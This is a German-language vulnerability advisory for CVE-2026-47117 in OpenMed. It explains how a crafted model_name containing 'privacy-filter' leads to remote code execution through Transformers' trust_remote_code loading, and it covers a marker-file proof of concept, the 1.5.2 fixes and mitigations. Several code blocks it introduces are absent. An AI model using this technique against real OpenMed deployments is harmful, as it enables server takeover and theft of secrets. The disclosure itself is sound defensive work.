Die REST-API-Endpunkte POST /pii/extract und POST /pii/deidentify akzeptieren einen model_name-Wert aus dem Anfragetext. In verwundbaren Versionen verwendete der Datenschutzfilter-Dispatcher eine breite Teilzeichenfolgen-Übereinstimmung für diesen vom Angreifer kontrollierten Wert. Ein Modellname wie attacker/foo-privacy-filter-bar konnte daher in das Datenschutzfilter-Backend geleitet werden.

Bei Nicht-MLX/Torch-Bereitstellungen lud dieses Backend Hugging-Face-Modellartefakte über Transformers mit trust_remote_code=True. Wenn das vom Angreifer kontrollierte Modell-Repository benutzerdefinierten Transformers-Code enthielt, der über auto_map in config.json oder tokenizer_config.json referenziert wurde, importierte und führte Transformers diesen Python-Code während des Modell- oder Tokenizer-Ladens aus.

Der importierte Code wurde mit den Berechtigungen des OpenMed-Dienstprozesses ausgeführt.

Auswirkungen

Ein nicht authentifizierter Remote-Angreifer, der die OpenMed-REST-API erreichen kann, kann beliebigen Python-Code auf dem Server ausführen, indem er eine schädliche Hugging-Face-artige Modellkennung in model_name angibt.

Je nach Bereitstellung des Dienstes kann dies Folgendes ermöglichen:

• Lesen oder Ändern von Dateien, auf die der OpenMed-Prozess zugreifen kann.
• Zugreifen auf Umgebungsvariablen und Anwendungsgeheimnisse.
• Aufrufen interner Dienste, die vom OpenMed-Host aus erreichbar sind.
• Stören oder Ersetzen des Anwendungsverhaltens.

Betroffene Endpunkte

Das Problem ist über beide PII-Endpunkte erreichbar, da beide model_name akzeptieren und denselben PII-Extraktions-/Modellladepfad verwenden:

Technisches Detail

Der verwundbare Kontrollfluss weist zwei Vertrauensgrenzen-Fehler auf:

1. Die API vertraute einem vom Benutzer gelieferten model_name bei der Auswahl des Datenschutzfilter-Backends.
2. Das ausgewählte Backend vertraute dem Code des entfernten Modell-Repositorys, indem es Transformers-Artefakte mit trust_remote_code=True lud.

Der Dispatcher behandelte jede Modellkennung, die privacy-filter enthält, als Teil der Privacy-Filter-Familie. Dadurch konnten vom Angreifer kontrollierte Kennungen, zum Beispiel attacker/foo-privacy-filter-bar, einen Codepfad erreichen, der für vertrauenswürdige First-Party-Privacy-Filter-Modelle vorgesehen war.

Einmal dorthin geleitet, konnte Transformers vom Angreifer kontrollierten benutzerdefinierten Code über auto_map laden. Dieser Import erfolgt während des Modell-/Tokenizer-Ladens, bevor eine sinnvolle Inferenz gelingen muss. Ein Proof-Payload kann daher so klein sein wie:

Proof-of-Concept

poc_exploit.py erstellt ein harmloses lokales Hugging-Face-artiges Modellverzeichnis, dessen Name privacy-filter enthält. Die generierten benutzerdefinierten Transformers-Module schreiben beim Import eine Markierungsdatei. Das Skript sendet dann eine Anfrage an eine OpenMed-Test-API-Instanz mit diesem Verzeichnis als model_name.

Das erwartete Verhalten bei verwundbaren OpenMed-Versionen ist:

1. Die API akzeptiert den vom Angreifer kontrollierten model_name.
2. Das Substring-Routing sendet ihn an das Datenschutzfilter-Backend.
3. Transformers importiert das generierte benutzerdefinierte Modul, da trust_remote_code=True ist.
4. Die Markierungsdatei wird erstellt, was die Codeausführung im OpenMed-Dienstprozess beweist.
5. Die Anfrage kann danach fehlschlagen, da das Spielzeugmodell kein echtes Privacy-Filter-Modell ist; die Markierungsdatei zum Importzeitpunkt ist der relevante Beweis.

Nur gegen eine lokale Testinstanz ausführen:

Wenn der OpenMed-Dienst an einem Ort ausgeführt wird, der nicht auf das generierte lokale Verzeichnis zugreifen kann, veröffentlichen Sie ein entsprechendes Testmodell in einem kontrollierten Hugging-Face-Repository und übergeben Sie diese Kennung explizit:

Behebung

Aktualisieren Sie auf OpenMed 1.5.2 oder höher.

OpenMed 1.5.2 trennt Routing von Vertrauen:

• Beliebige Repository-Namen, die privacy-filter enthalten, werden nicht mehr über den vertrauenswürdigen Privacy-Filter-Pfad geleitet.
• PrivacyFilterTorchPipeline setzt trust_remote_code standardmäßig auf False.
• Nur explizite First-Party-Privacy-Filter-Repositories sind für das vertrauenswürdige Laden von Remote-Code zugelassen.
• Betreiber, die kontrollierte private Feinanpassungen benötigen, können diese mit OPENMED_TRUSTED_REMOTE_CODE_MODELS auf die Zulassungsliste setzen.

Wenn ein sofortiges Upgrade nicht möglich ist:

• Setzen Sie die verwundbare REST-API nicht nicht vertrauenswürdigen Clients aus.
• Übergeben Sie keine vom Benutzer kontrollierten model_name-Werte an Transformers mit trust_remote_code=True.
• Ersetzen Sie das auf Teilzeichenfolgen basierende Modell-Routing durch exakte vertrauenswürdige Modellkennungen.
• Laden Sie in der Produktion genehmigte lokale Modellartefakte vorab und deaktivieren Sie beliebige Modell-Downloads.

Offenlegungszeitplan

Danksagung

Entdeckt und gemeldet von Sai Teja Erukude, koordiniert über VulnCheck.

Referenzen

• CVE-Eintrag: https://www.cve.org/CVERecord?id=CVE-2026-47117
• NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-47117
• VulnCheck-Hinweis: https://www.vulncheck.com/advisories/openmed-remote-code-execution-via-pii-model-loading
• Versionshinweise zu OpenMed 1.5.2: https://github.com/maziyarpanahi/openmed/releases/tag/v1.5.2
• OpenMed-Projekt: https://github.com/maziyarpanahi/openmed